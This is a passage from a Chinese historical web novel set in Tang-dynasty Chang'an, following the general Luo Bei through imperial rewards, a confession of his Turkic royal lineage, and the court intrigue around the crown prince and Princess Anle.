“哎,”李显笑道,“朕一言九鼎,不可质疑!来啊,即除去娑葛首领身上绳索,命他为右羽林卫将军,赐予他良田美宅!” 娑葛叩首在地:“感谢天可汗天恩!” 遮弩也同样被赐予禁军职位,留在了长安。就连同俄特勤都不例外——他被任命为左金吾卫中郎将,宿卫宫禁,皇帝还看在他年少,特别赐他入宫同诸皇子一道读书的特权。 “太宗皇帝曾说,‘自古皆贵中华,贱夷、狄,朕独爱之如一,故其种落皆依朕如父母。’朕愿意效法太宗皇帝之恩德,泽被万民。但愿尔等知朕苦心,能让天下太平永驻!” “太平!”“太平!” 长安城内再次响起了欢呼之声。百姓们为皇帝的宽宏大量而欢呼,也为天下太平的未来而欢呼。 洛北站在队列之中,看着娑葛和遮弩等人被松绑,他们脸上的感激之情溢于言表,心中也是感慨万千。 “此战将士皆有功,朕要论功行赏。”李显又对众将士道,“但今日,朕要赐宴宫中!请诸位开怀畅饮庆功酒!” “万岁!”众将士再度欢呼雀跃,礼乐再起,把众人迎入了宫中。 美酒佳肴,歌舞升平,皇帝李显亲自祝酒,让众人开怀畅饮。洛北暗自留心了一番宫宴之上,那些宫女的面容都颇为陌生……没有见到任何一个他熟悉的人。 好容易等待酒宴后半程,皇帝起身退场,洛北也在换班下来的禁军中找到了慕容曦光的身影:“曦光!” “大哥哥。”慕容曦光身量渐高,在禁军中一言一行,已颇有大将风采,但在洛北面前,他还是露出了孩子气的笑容,“长安城里把你的事迹传遍了,人们都说你是永远不败的安西军神!大哥哥,下次出征带我一起吧!” 洛北笑了:“这未免太过奖了。曦光,出征的事情之后再说,我现在有个问题请教……” “请问,为何此次宫中赐宴,不见褚郡君?” 第135章 “可昆陵都护尚在安西大都护府之下,微臣怎么能以子辖父呢!” 慕容曦光笑着的面容一下子僵住了。他左右张望, 确认四周无人注意,才轻轻地抓住洛北手腕,笑道:“大哥哥莫不是在草原上待得太久了, 忘记了宫中的规矩。这宫中赐宴从来都有定制, 也不是大哥哥想见谁,谁就会被派来的。” 慕容曦光是用突厥话说的这句话,说得很轻,轻得像一句风吹来的笑语。他说完这句话,又低头用自己的酒杯碰了碰洛北的酒杯, 特意提高了声音,笑道:“那可就答应我了,大哥哥, 下次出征,一定要带我去!” 洛北轻轻一笑,也觉得是自己关心太过, 反遭其乱。他与慕容曦光共饮了一杯, 才端着杯子往自己的位置上走去。还未坐定,便有个一身紫袍、身形中等、美髯飘飘的男人举杯出现在他身边。 洛北对此人没有印象,周围也没有官员能代为引荐。他看此人官服,知道他的职位在自己之上, 便先一步躬身道礼:“小子有礼了。” “洛将军太客气了。”那男人捋了一把胡子,笑道, “洛将军,不认识我,我在鸣沙和灵州可是久闻将军大名——我就是张仁愿。” “见过张韩公。”洛北再低身道礼。 张仁愿在鸣沙之战后取代沙吒忠义担任灵武道大总管。他虽是御史出身, 但在军中担任多年监军御史,对军事、边事都颇有见解。 他一到灵州, 便趁着突厥新败,在黄河北岸修筑了三座受降城和多所烽火台,使得漠南之地成为大唐的北疆重镇,也使得原本被动的灵武局面变为主动。 自从这三座受降城建成之后,突厥不敢翻山放牧,灵武镇兵削减数万,为大唐节省了大量军费。张仁愿于今年年初入朝拜相,担任同中书门下三品,并加左卫大将军、封韩国公。 张仁愿见他谦卑有礼,脸上笑意更甚:“洛将军不必多礼。我来这里,是要与将军共饮一杯,以答谢将军。” 洛北双手执杯,摆足了姿态:“张韩公何必如此,我我实在是不知道,我有什么功勋啊?” 张仁愿哈哈大笑:“天下皆知我张仁愿以三受降城北拒突厥,是国之干城,却不知道,我能越过黄河北岸,修筑受降城,都是因为鸣沙之战后,突厥败退回了贺兰山北。洛将军,这都是你的功劳啊。” 洛北低头笑了:“张公这样说,是要叫我无地自容了。我当时只是一个鸣沙县令,哪里称得上战功,还是李(贞)刺史、哥舒将军和吐谷浑部的宣彻王子功劳更大。” “在灵武的时候,我和他们都打过交道。”张仁愿道,“他们可是众口一词,把此战归功于你。本来么,按照大唐军法,一箭射落敌将,也有斩将之功。可惜当时武三思执政、宗楚客霸着兵部,竟然将你这样的大功给淹了。不过” 他未说的半句是,现在武三思已死,宗楚客也流放外乡,洛北又在西域建功立业,朝廷一定会大加封赏。 洛北没有接话,几乎是一种直觉告诉他,这位风度翩翩的朝廷重臣到他的座位边来说了这么些话,一定是有所求:“张公是有话要问我?” “真是瞒不过洛将军这双眼睛。我来找将军,是想找你聊一件事情。”张仁愿顿了顿,双目放出精光,“北伐突厥!” 洛北毫不意外张仁愿会有这样的野心:“这是张公的意思,还是” “我与圣上自然也倾谈过。”张仁愿没想到洛北会一语道出此次试探的本质。他第一次觉得,眼前这个金色眼眸的青年并不像李显所说的那样:“谙熟边事,但不懂朝事”。 洛北知道他是奉命来询问和试探,开口时便加了几分小心: 以洛北的本心,他并不认为此刻由朝廷出面,大举征兵、北伐突厥是个好主意。北面受降城初建,西面西域初定,吐蕃又会盟初定,公主还未出嫁。一切只是刚刚平静,水面下的暗流还涌动着。 要是大唐之兵倾国北伐突厥,只会给这些地方可乘之机。默啜被逼到背水一战的地步,也会不顾一切地许诺其余部族,以期共击大唐。 更不要说,如今中原又是旱灾、洪灾连绵,此刻理应是大唐休养生息,同化西域和北面的好时机。 但战争的胜利和荣光已经冲昏了李显的头脑,他似乎已经不顾一切地想要重现“漠南漠北无王庭”的昔日辉煌。 “我困于西域诸事,并未想过此事。”似乎是为了掩饰自己的窘迫,洛北微微一笑:“请张公允许小子即席相谈,若有错漏之处” “又不是朝中论道,我还会治你的罪吗?”张仁愿道,“但说无妨!” “我以为效法李卫公的故智最好。大军深入漠北,劳师远征,不可持久。要平定突厥,就是要快!”洛北道,“依我之见,应当招抚突厥下辖的契丹、铁勒、拔野古诸部,让默啜众叛亲离,最后再以精锐之师奇袭于都斤山下的突厥王庭,击杀默啜。” 张仁愿露出一个笑容:“好啊,但这奇袭何其之难,非是一个智勇双全者不可。洛将军,你可有人选举荐啊?” 洛北知道这是表忠心的时候,当即抱拳道:“若蒙圣恩不弃,我愿领兵奇袭突厥王庭!” 张仁愿点了点头,似乎略沉吟片刻,才道:“你同我来。” 两人一路穿过重重宫闱,来到皇帝平日里召见近臣、宰相的宫殿之中。两人各自跪倒行礼,便有内侍上来给洛北赐了座,又把张仁愿让到偏殿的暖阁之中去了。 洛北几乎能猜到此刻的暖阁内有什么样的对话,他百无聊赖地盯着面前的几块地砖,望着灯火明灭投在地砖上昏暗的影子,思考着一会儿李显会用什么态度来对待自己。 “陛下驾到!” 洛北按照规制行了三拜九叩的大礼。李显对他的印象还停在神龙元年那个伏地跪请的少年,乍一见眼前这个丰神俊朗,英姿飒爽的青年将军,还有些不太习惯。直到洛北行完礼,跪在地上,才抬了抬手,让他起身:“起来吧。拿个座给他。” 内侍把洛北刚刚坐的那只矮榻又搬了过来,让他坐下了。 “洛北啊,你在西域的这几仗打得都不错,以一万人不到的兵力连破突骑施和突厥的匍俱,了不起啊。你的事迹都快成了酒肆里的话本子了——‘雪夜破牙帐’是吗?” 李显坐在御座上,屏风后影绰绰地显出皇后的身影。 洛北谨慎地回答: “都是将士们在前线奋力拼杀,圣上洪福齐天的缘故。还有内附诸部的首领们也心向大唐,出兵相助。譬如哥舒将军,原本只是回于阗探亲,西域有难,他虽已被夺去了世袭的孤舒州都督职务,还是回乡募兵,共赴前线。” “从鸣沙到西域,这几年你也圆滑了嘛。”李显笑道:“但这些内附部族领袖愿意追随你,怕是另有原因吧。” 洛北知道这就是今夜这场谈话最重要的目的——他立刻重新跪倒在地:“微臣有罪。微臣冒名欺君,罪该万死!” “你怎么有罪了?”李显敲了敲椅子。 洛北低垂眉眼:“微臣本不姓洛,而是姓阿史那,是西突厥十姓可汗之子。微臣在圣上面前以洛北自居,这是冒名欺君,微臣甘愿伏诛。”说罢,将额头叩在地上。 殿中陷入一片令人毛骨悚然的沉默。 洛北几乎能听到皇帝和皇后衣服摩擦的声响。 半晌,李显才道:“欺君确实可以除以极刑,但你为什么不说,是因为阿史那献以你的母亲出身卑微,不认你当自己的儿子,你才用了‘洛北’这个名字?” 洛北道:“可汗毕竟是微臣的父亲,微臣身为人子,怎能在君父面前以父亲的过错为自己挡罪?若陛下决意处罚,雷霆雨露俱是君恩,微臣但知领受,绝无怨怼。” “唉。”李显长长地叹了口气:“你这样忠孝的性子,又是太子的属官,怎么就没把这些品质教给太子呢?” 洛北微微一凝眉:李显这话说得有些重,几乎是在责怪太子李重俊不忠不孝了,这是出了什么事情? “微臣”他佯装要为自己辩解,还是一个字都没说。 李显道:“罢了,你去了边关这么久,太子的事情想必还什么都不知道。等过几天,你再去见见他吧。顺便代朕劝劝这个胡闹的儿子,叫他在家里呆一个月,反思己过!” 张仁愿在一边道:“洛将军,这可是圣上的口谕。” “微臣领旨。”洛北只得低头领罪,打算等第二日再去问问裴伷先。 “好了,好了,起来坐下,不要动不动就跪。”李显摆了摆手,“你的事情,阿史那献给朕上过书了。朕也同意他让你认祖归宗了。你也不必为了这个请罪。朕还不是那种阻逆人伦的昏君。” 洛北低头谢恩,才重新坐下:“微臣叩谢天恩。” “你们父子啊,可是把个难题出到了朕面前。”李显道:“朕同意阿史那献以功顶罪,夺了他的北庭都护之职,但他还是世袭的昆陵都护。如今你的功劳这么大,按理应当晋升你的职务,让你担任安西大都护,可” 眼见李显面露犹疑之色,洛北忙起身道:“可昆陵都护尚在安西大都护府之下,微臣怎么能以子辖父呢!” 第136章 裴伷先的困局 洛北此言一出, 宫内立刻静了一片。帘后传来韦皇后幽幽的声音:“洛北,你说雷霆雨露俱是君恩,这样的话, 难道是你该在陛下面前说的吗?” 洛北只得重新跪倒:“微臣殿前失仪, 望乞陛下恕罪。” 李显转头往帘后笑了笑,轻声说了句什么洛北没听清的话,才转过身道:“洛北,你不愿以子辖父,便是推了安西大都护的任命。你这么大的功劳, 朕在边境也没有职位给你,你就回长安来,在御前做朕的右羽林军大将军如何?” 洛北俯身叩首道:“微臣但听圣上与朝廷的安排。” 右羽林军隶属北衙禁军之一, 屯营就在玄武门外,平日的主要职责卫戍皇城。和十二卫不同,他们不是从各地征召而来的府兵, 而是皇帝的私人武装。 李显继位之后, 为了巩固权力,拔擢了一批李氏宗亲和自己的近臣执掌禁军。在洛北之前执掌右羽林军的,正是神龙政变的功臣,辽阳郡王李多祚。 “好, 就这么定了,圣旨后发。你这些日子辛苦了, 在长安休息休息吧。明日,可以去看看太子。”说到太子,李显不由得又叹了口气:“若是太子侍奉父亲有你一半的仁孝就好了!” 洛北不明就里, 第二日一早,便赶到东宫拜见太子。谁料东宫的那群仆役一听说是他前来拜见, 只冷淡道:“太子病了,不想见人,还请洛将军回去吧。” 洛北曾经担任太子的属官,深知太子的性情,并不想用皇帝的命令来压人,只道:“那我想拜见太子府詹事裴伷先,可否?” “裴詹事不在东宫。”那仆役依旧是冷着一张脸,“洛将军若无要事,还请自便吧!” 洛北皱了皱眉,张口正要说什么,那仆役却把门一关,不再和他多说。望着朱门紧闭的东宫,洛北只有笑笑,便转头去东市里裴家酒肆寻裴伷先。 正是午餐时间,裴家酒肆人头攒动,洛北进了店门,向掌柜的使出一点碎银,故意用掺着突厥口音的汉话道:“掌柜的,我是你们东家的朋友,听说他在丝路上有笔生意要找人做,他可在此?” 那掌柜的见他身材高大,杀意凛人,腰间又带着宝刀,心道是自家东家新雇的亡命之徒,便把那点碎银递还到洛北手上,压低了声音道:“东家在楼上,请伯克随我来。” 四楼的房间风景最好,临窗一望,就能看到大半个长安。裴伷先正翘着腿,在窗下的一张矮榻上边看书边吃东西,桌边摆的是金果盘、白银碗,盘中碗中都是长安城中的时令水果。还有一只晶莹剔透的水晶瓶,里头放的是琥珀色的葡萄烧酒。 那掌柜的回完话,转身便走,又将房门替他们关的严严实实。裴伷先一面看着书,一面拎起水晶瓶往自己嘴里倒酒,连头都懒得抬起来看他,开口便是突厥话:“请坐。” “朋友来了,连杯酒都不舍得分。”洛北见他放松,干脆劈手从他手中把水晶瓶抢了过来,拿在手中:“天底下有你裴老板这样当朋友的吗?” 他说到后半句时,终是没忍住笑出了声。裴伷先顿觉耳熟,抬眼向上一望,顿时撞见他似笑非笑的金色眼睛,立刻起身道礼:“公子从西域回来了?” 洛北替他捡起匆忙起身时掉到地上的书本,望了一眼封面:“伷先这是怎么了,我记得你从前是个最闲不住的人,今天倒在这儿看起话本来了。” “百无聊赖啊,公子。”裴伷先摇了摇头:“自太子犯错被陛下申饬以来,朝中韦后和安乐公主的人大肆弹劾他,要逼陛下废了他。尤其是安乐公主,整日在陛下面前闹着要立皇太女,陛下竟真的拿此事询问宰相我想,太子是迁怒你我,才闭门不见的。” 洛北一时没有反应过来:“太子迁怒我们?为什么?”他顿一顿,干脆坐到了裴伷先的矮榻边:“伷先,太子到底犯了什么错?” “话还要从头说起,”裴伷先便在他面前的椅子上坐了下来: “此次政变五王的桓彦范、敬晖两位相公还朝,圣上重新任命他们入朝为官。其中桓相公久在大理寺,为人清正,又是狄公门生,太子深慕其风采,又知道桓公精于书法,便把自己搜罗的一些字帖给了桓公。” 洛北忍不住瞪大了双眼:“此事当真?” “莫说公子惊讶,便是我听闻此事,也惊讶得不得了。”裴伷先道:“可太子却说,当时我劝他忍气吞声,安心召集博学文士编书,不就是要靠文墨之事来积攒势力么?他以书画结交桓彦范,有何不可?” “桓彦范以臣子之身参与政变,本就是树大招风,他后来又不知收敛,以政变之功为自己远在外地的小舅子请功,这才为圣上猜忌。”洛北叹了口气:“太子地位敏感,竟还主动与桓公结交,真是” “好在桓彦范是个明事理的,他将字帖原物退还,并写信称深慕太子风度,礼贤下士,只是他刚刚洗罪,不敢与太子结交。可朝中那些投靠了韦后的人精还是嗅到了气味,上书弹劾太子与桓彦范过从甚密。” 洛北这才明白李显的那些长吁短叹到底从什么地方来。 桓彦范是神龙政变的功臣,无论太子出于什么目的拉拢这样的人,在皇帝的眼里都会被视作背叛——就算他知道自己这个儿子的个性,也会被韦后和安乐公主手下那些人左一封、右一封的奏折劝得改变主意。 “太子迁怒你我,倒也是人之常情。”洛北顿感疲惫,只是轻轻地叹了口气,“昨夜皇帝召见我,几度试探,都围绕着父子亲情来进行,最后竟让我来传达让太子禁足的口谕。” 裴伷先了然地笑了笑:“公子如今战功赫赫,又是领兵大将,陛下当然不希望看到你和太子关系太好。” 洛北望着他的眼睛:“那你呢?伷先,你打算怎么办?” 太子詹事是太子最亲近的属官,如今裴伷先却和太子关系闹得这么僵,再在东宫待下去恐怕不是长久之计。 裴伷先轻轻地叹了口气:“实话说,公子,我早就想辞官了。我厌倦了长安,想回到西域去做我的大商人。可若我主动辞官,天下人会怎么看我?难道不会觉得我是见太子危难,便弃之不顾的小人吗?” 洛北知道裴伷先自官拜太子詹事以来,身上便背了宰相裴炎的家族责任。 或许裴伷先可以任性妄为,但裴炎的侄子绝不可能。 洛北低下眼眸,略沉吟了片刻:“伷先,若是太子主动要赶你走呢?” “那也得太子起复之后再说。”裴伷先摇了摇头:“我不能在危难之时弃太子而去。” 洛北颔首:“我知道了。” 裴伷先心意已定,洛北也不再说起太子的事情,反倒请裴伷先在此稍候片刻,等他传完了皇帝的口谕,就和他一道外出去走走,看看长安风物。 长安秋景怡人,处处浓墨重彩,两人穿过城门,一路南行,打马走过曲江池畔,来到了离终南山不远的地方。洛北似乎兴致颇好,和裴伷先穿过一片黑漆漆的树林,走上一条荒草丛生的羊肠小道。 “天色有点晚了。”裴伷先看了看四周景色,只觉得这地方有些熟悉,但又想不出来什么时候来过,“公子这是要往山中住宿?” “哦,山中也是有人家的嘛。”洛北应道,他见眼前树枝密集,只得抽出唐刀砍断了几根枝条,才把一座别庄显露出来。 裴伷先看那别庄门楼高大,朱门厚重,才像想起什么似的:“这个地方我是来过的,只是当时是坐车这是褚郡君的终南别院,是不是?” “是。此地曾是褚公的山居之所,后来才被则天太后赐给了褚郡君。后来我蒙褚郡君收留,就是住在这里。”洛北弯腰将断裂的枝条扔到一边,却察觉到身后裴伷先神色促狭,就转过头去问他:“伷先,你笑什么?” “我笑公子坐拥数万雄师,威震西域,拜访褚郡君却还要拉着我一道才行。”裴伷先笑道:“这样的事情,我怎么好在场嘛。” 洛北轻轻一笑,摇了摇头:“伷先,你误会了。”他不好和裴伷先解释,只得先走出树丛。 一夏天的雨水过后,别院前的石子路都生了青苔。 洛北走到门前,却见大门紧锁,连石阶上都有枯黄的矮草露头:“这屋子,好像是很久没人住过了。” “褚郡君是朝廷女官,按规制是要住在宫中的,便是外出居住,她也可以去住上官昭容的府邸和太平公主的府邸么,何必舍近求远,到这个地方来。”裴伷先哈哈大笑起来,“公子聪明一世,怎么在这种事情上犯了糊涂。” 洛北略微迟疑了片刻:“话是这样说,可我回长安以来,也没有听过褚郡君的消息。” “公子离开长安太久,不知道长安城的变化。褚郡君如今可是闻名长安的才女。”裴伷先道:“公子若真的想知道她的消息,倒不如问问王翰——他是上官昭容的远亲,又是出了名的才子。长安城的文会,他多半是要参与的。” 第137章 “长安已传出了洛公子安西军神的名号,今日听你这句话,才知道‘军神’二字,到底从何而来。” 数日之后, 突厥大汗默啜也派出使节到达长安请和,他随信送来骏马五百匹,金银数千, 又在信中在朝堂上盛赞大唐军威雄壮, 使他心悦诚服。 默啜请和,便代表着自此之后,大唐四海再度升平,皇帝李显龙心大悦,大肆封赏了西域之战中的一干将领: 安西大都护郭元振因功入朝, 拜为同中书门下三品,接替宗楚客出任兵部尚书,并以功封代国公。 原北庭都护、西突厥十姓可汗阿史那献接替郭元振, 担任安西大都护镇守西域。朝廷念其忠贞有功,又加封其金山郡王,实封三百户, 赏赐凉州附近的突厥降户千余帐。 此战中功勋最著的安西副都护洛北则被晋升为右羽林军大将军, 功封昆陵郡公,宿卫北门。诏书还特命洛北认祖归宗,恢复其阿史那献之子的身份,并同样实封一百户, 赏赐凉州突厥降户五百余帐。 哥舒亶则被晋升为右卫将军,功封襄城县伯。至于军中将领, 也都有晋升。金银珠宝、丝绢绸缎,更是不可胜数。 “这可真是羡慕不来啊。” 曲江池畔,波光粼粼, 秋风微拂。如同往日一样,群贤坊中的上官婉儿府邸, 正在举行今秋的雅集,大案之上,佳肴满桌,一众文人骚客已经写完了今次的诗句,正在一道高谈阔论,品评人物。 近来朝廷最为风行的话题便是西域之战,在场的众人也少不得拿这场战事来讨论。 刚刚因为在西域之战上仗义执言而拜相的萧至忠率先开口道: “天底下多的是子以父祖荫生活,谁能有金山郡王这样的好运气,连一个私生儿子都能振兴家族,光耀门楣。” 阿史那献少年时代就受父亲牵连,流放崖山近二十年,长安三年才回朝任职,不过五年之内,便做到了从二品安西大都护的位置上,位极人臣,还多了郡王爵位和实封的封地,实在是让朝中人人艳羡。 可明眼人如萧至忠自然看得出来,阿史那献在西域之战中只收复了伊逻卢城,论功勋,并不配得上多封的那个郡王爵位,但朝廷对他备加优待——自然还是因为洛北。 父子的名分放在这里,总不能让儿子的爵位职位都比父亲要高。 宋之问仰头饮下一杯酒,神情上有点戚戚,他在武三思倒台之后,立刻倒向了韦皇后,有着皇后一手力保,才勉强没有被逐出朝廷,只是失去了宰相职务。但看着张仁愿、郭元振都以边事拜相,心里还是有点不是滋味: “他们两个人都是外藩胡将,翻不出什么风浪来。现在,我们最怕的就是郭元振彻底倒到魏元忠那边去,唉,走了一个唐休璟,来了个比唐休璟还要老谋深算的郭元振。魏元忠的运气才是真的好呢。” 兵部尚书是三品,论官阶比安西大都护的品级低了半阶。但大唐有重内虚外的风气,封疆大吏再如何,也比不过政事堂的宰相们风光。这次郭元振既得了兵部的实权,又拜为宰相,还有国公的封赏,几乎一跃与魏元忠等人同列,成为朝廷最炙手可热的人物。 “魏元忠还谏言圣上,把宋璟也召回了朝中担任吏部尚书兼雍州长史。”张说道。 “这也未必不是件好事。”上官婉儿笑意盈盈地道:“宋相公正直高洁,又素有贤名。有他来约束朝中风气,朝中有些人便可收敛了。” 王翰本是敬陪末座,听上官婉儿说到这里,忍不住抬头看了她一眼。 自武三思死后,韦皇后和安乐公主接手了大半武家势力,她们在朝中任意妄为,就连如今上官婉儿等宫中女官都能卖官鬻爵。她们收了贿赂,便从宫中写文书来,斜封着给到门下、中书二省,叫他们依令执行。 这些官吏没有经过朝廷的“铨选”流程,被称为“斜封官”。如今这样的官吏充塞朝廷,造成了朝廷“选举混淆,无复纲纪”的情况。 吏部素来管理官员任命,宋璟要是回朝担任吏部尚书,必然要对这些官吏展开整顿,可是,这不是与上官婉儿的利益相违背么? 但他离上官婉儿的方向实在是太远了,拼了全力也没看清楚上官婉儿面上的表情,只听得桌边的这些大臣宰相们议论纷纷,好容易熬到宴席散去,才若有所思地出了上官婉儿的府邸大门。 他还未上马,已有一辆马车赶到了他的面前。那车夫身高体壮,腰挎长刀,就像一座铁塔坐在那里,见了他,才露出点笑容:“王先生,我家洛公子请你去他府上赴宴,你肯不肯赏光啊?” 王翰一开始没有认出他来,直到听他口称“洛将军”,才反应过来:“巴彦?!是你?” 巴彦哈哈一笑:“王先生真是好记性。我家将军今日的宴席可摆了不少西域名酒,王先生肯不肯赏光?” 王翰一听有酒,眼睛立马亮了,立刻往车上一坐,末了还忍不住问:“你家公子新任右羽林军大将军,怎么有空来请我这个无官无职的人吃饭?还有你,巴彦,怎么是你来请我了?” 巴彦道:“公子今日休沐,想着找旧日的朋友一起聚一聚。至于我,我在碎叶城犯了大错,害得公子被人刺杀,命悬一线。好在公子不仅宽恕了我,还把我提拔到他的身边担任卫队长,所以,今天就由我来请王先生了。” 洛北还没有在长安城中置办宅邸,如今居住在安兴坊的兴昔亡可汗宅邸之中。王翰被迎进了那处朱门大户,又一路穿门过院,看过了一户的青松绿竹,才来到后园中的水榭边。 水榭边芦花正盛,远远地传来有人说笑的声音。 巴彦已替他通报过,此刻正抬手示意王翰走上一条石板路,去水榭中与洛北宴饮。王翰知道洛北不喜欢仆役侍候宴席,便自己走去,可走近了才发现,洛北正与张孝嵩对坐相谈。 张孝嵩此次西去,亲冒矢石,作战勇猛,甚至还受了伤,朝野皆知。解琬亲自上书为他请功。朝廷不仅将张孝嵩由监察御史晋升为侍御史,还得了开国男爵的封赏和军功。 王翰自己无官无职,见了这两位位高权重,前途光明的旧友,纵然他生性豁达,一时还是有些不知所措,只立在那里,看着他们,进也不是,退也不是。 “王翰兄。”洛北久在军旅,何其敏锐,听到他脚步声一顿,立刻就率先起身来迎接他,依旧是如鸣沙那时率先道礼:“秋风大,站在外头不冷吗?” 张孝嵩也起身笑道:“可别是觉得洛公子这里布置陈旧,不能下脚吧?” 王翰忍不住笑了,他这才从容地坐到位置上,自顾自拿起桌上的酒杯喝了一口:“好酒,只是这味道怎么那么熟悉啊。” 洛北道:“能不熟悉么?这是鸣沙特产的枸杞酒,许平许县丞给我送来的。” “许平?他升了县丞啦?”王翰听到熟人名字,顿觉精神一振。 洛北提起酒壶,又给他倒满了酒杯:“还是托你王翰兄的福,许县丞现在能文能算,当个县丞不成问题。” 王翰回忆起在鸣沙开班授课,骑马游乐的日子,脸上不禁露出向往神色:“长安城呆久了,我都快忘了鸣沙的风景什么样了。真羡慕你们,可以驰骋塞外。对了,我刚刚来之前,你们在说什么呢?” “在讨论对突厥的战事。”张孝嵩道。 王翰有些不解:“战事?默啜不是刚刚遣使来朝吗?再说,我们不是还有他的儿子同俄特勤在长安吗?同俄特勤好像是默啜的小儿子吧,难道他连自己儿子的性命都不顾了?” 张孝嵩叹了口气:“实话说,默啜降而复叛,叛而复降已经不是第一次了。就算我们有同俄特勤在手里,估计他也不会在意。” “再说,圣上不让我坐镇西域,反而征召我回朝担任禁军将军。除了担心我父子执掌安西,恐有自立之心外,也是为北伐突厥做准备。”洛北道。 王翰点了点头,李显把领兵大将安排在自己身边,以私恩收揽人心,也不是一次两次了:“这对洛将军不是件好事么?你看看,陛下对李多祚多宽容啊。上回正旦祭天,圣上都让他与自己和相王一道乘坐御辇。” “对我个人当然是个好事。”洛北轻轻笑了,起身举杯,示意与他二人共饮一杯,才重新落座: “但太宗朝讨伐突厥颉利可汗功成,并不只是因为李卫公用兵如神而已。” 他顿了顿,继续道:“举个最简单的例子吧,在讨伐军令发出之前,大唐和太宗皇帝都已在突厥有多年经营。我的曾祖父西突厥可汗阿史那弥射和东突厥的突利可汗都是在他做秦王之时就已与他结为异姓兄弟了。” 张孝嵩和王翰对视一眼,王翰不由得笑道:“要以知兵能战这条标准来权衡君主,莫说当今圣上了,就是放眼史册,恐怕都没人能与太宗皇帝相比。洛将军这标准可是定的太高了。” 洛北点了点头,不置可否: “或许这是高了。但坦率而言,一场平灭突厥这样的会战,光靠将士用命,是不行的。在出征之前,需要拉拢敌方的王室贵族,招抚敌方的下级百姓,需要结交四周的部族同盟,还要有驿站替大唐储存物资和收集情报,甚至要考虑战争结束后的治理问题。可我看朝廷的情况,只怕如今这些我们都还不具备吧?” 张孝嵩深深地叹了口气:“明白了。” 他不仅明白为什么太宗皇帝时可以东征高丽,西定西域,北克突厥,南镇吐蕃,也明白为什么此次西域战事,众将都屡战屡败,损兵折将,唯有洛北可以定鼎乾坤,荡平西域——洛北的功课,早在他做乌特特勤的时候,就已经开始了。 王翰笑道:“长安已传出了洛公子安西军神的名号,今日听你这句话,才知道‘军神’二字,到底从何而来。” “别急着夸我了。”洛北挥了挥手,“喝酒,我可是准备了数十种西域好酒,你王公子可不要没尝过一遍,就倒到地上了。孝嵩,你是御史,可要管着他啊。” 张孝嵩哈哈大笑,率先拿起了筷子:“那我得先垫吧垫吧,免得王翰没倒,我自己先醉倒了。” 酒过三巡,王翰已有熏熏之感,张孝嵩甚至敲杯为乐,高唱了一首军歌。 洛北哑然失笑,好容易等他唱完,伏在桌上睡着了,才叫来仆役,和仆役一道把张孝嵩扶回房中:“还是今天高兴,庆功大宴的时候,孝嵩都没有如此失态过。” 王翰已有七八分醉意,也不多喝,干脆披起衣服与他们一起回了后堂:“在军中孝嵩是监军御史,怎么好豁出面子来和将军们喝酒呢?” “说的也是。”王翰点了点头,见洛北还看着自己,一副欲言又止的模样,心下有些奇怪:“洛公子有话要问?” “说来惭愧。”洛北犹疑片刻,还是开口问了:“我想问问王翰兄,最近有没有听到过褚郡君的消息?” 第138章 “不过,以委以重任的标准来看,你们,都还不够格。” 王翰那张带着点酒气的俊朗面容立时变得古怪起来, 他盯了洛北一会儿,确认洛北不是有意在试探他,才轻轻叹了口气:“远隔着茫茫大漠, 巍巍天山, 也难怪你对朝事一无所知了。” 洛北微微皱眉,朝廷里能让一向恃才傲物的王翰都觉得难办的事情可不多:“此事与太子有关?” “不错。”王翰紧了紧身上的外袍,与洛北一道再度行走在空旷的府邸之中:“我回到朝中不久,武三思执掌朝政,权势日益高涨, 安乐公主被他挑动,竟当堂要求皇帝废了太子,立自己为皇太女。还说:‘武则天那样的出身都可以做天子, 我是天子的女儿,为什么不能当皇帝?’” 洛北忍不住笑了一声,即使他这样家破人亡皆拜女皇所赐的人, 也不得不心甘情愿地承认, 女皇能登上帝位,是她聪明绝顶,手腕高超。她的皇位是数十年殚精竭虑,精诚经营, 最后踩着尸骨和鲜血才得到的。如今安乐公主想靠着父亲的宠爱就登上大唐的皇位,哪里那么容易! “好在当时魏元忠魏相公在朝上, 当即劝阻,还问陛下:‘公主如果登上了皇位,那她的驸马怎么办呢?’, 皇帝这才告诉安乐公主,此事不可。” 洛北点了点头:“魏相公到底还是老成谋国, 一眼就看穿了事情的本质。” “是,之后魏相公还建议陛下重建弘文馆,以太子总领事务,编撰文集,招揽文才。诏书发出后,天下皆知这是陛下在为太子收揽人望,为太子铺路。” 王翰说着说着,忍不住叹息一声: “可惜太子招揽人才,却招揽到了回京不久的宰相桓彦范头上。桓彦范是发动神龙政变的功臣之一,此事传到皇宫中,陛下勃然大怒,当场就要废去太子的位置。” 他气得面目涨红,洛北忍不住拍了拍他的肩膀:“此事伷先已同我说过了,王翰兄不要动气。” 王翰摇了摇头:“我想,裴詹事应当没有和你说,安乐公主那时也在场,便请求陛下下诏立她为皇太女。陛下正在为难之际,上官昭容赶来劝谏,说太子为人仁孝,断断不会失了君臣道义。桓彦范也是忠于陛下,两人是文墨相交,并无二心。” 洛北若有所思:“安乐公主连则天太后都不放在眼里,恐怕也不会在意上官昭容的想法?” “自然,安乐公主当场责怪上官昭容多事,说她与太子也有勾结,要陛下废了上官昭容。上官昭容却说,她来此之前,便已经料到公主会这么说,所以为明心志,她是服了毒药来的。她愿以死相谏,请陛下不要废去太子,不要立公主为储。片刻之后,便坠地不起。” 说话之间,洛北和王翰已经重新坐到暖阁之中,洛北命府中仆役重新上了些茶点瓜果,又让他们退出暖阁,关好门窗,才继续问王翰:“想来以陛下对上官昭容的爱重,上官昭容的谏言应当是被他采纳了的?” “是。”王翰点了点头,“陛下还广延长安城中的名医为昭容解毒,不过自此之后,昭容便极少出席各路文会了,连带着褚郡君也不常见。此事在长安城的勋贵之家已是出了名,只有你和孝嵩这些刚从西域回来的人还不知道。” 洛北沉思片刻,算是把脑海中这条太子与公主的储位之争的链条给拼凑完整了。只是聪慧如他,也很难在这件事情里找到褚沅的痕迹。他感觉有什么很重要的事情被他漏了过去,但他不知道那是什么。 王翰见他面色沉沉,知道他心有疑虑,不免一笑:“洛公子莫要着急,这几日我帮你留意着就是了。宫中规矩森严,褚郡君又执掌制诰,位置重要,想要出宫,也没那么容易啊。” 洛北轻轻一笑,心中却没有多少释然。以他对褚沅的了解,他回朝五日之内,他这位神通广大的妹妹必会寻出理由,打着圣命的旗号出现在他的府邸前。 可如今他就任右羽林军大将军都快半个月了,也没有听到一点褚沅的风声,要不是她被要事绊在宫中,要不他轻轻闭上眼:“好啊,那就有劳王翰兄了。” “好说,好说。”王翰喝了一口茶水,像是想起什么似的:“哎,今天喝的酒都不错,那个蓝瓶子里的尤其不错” 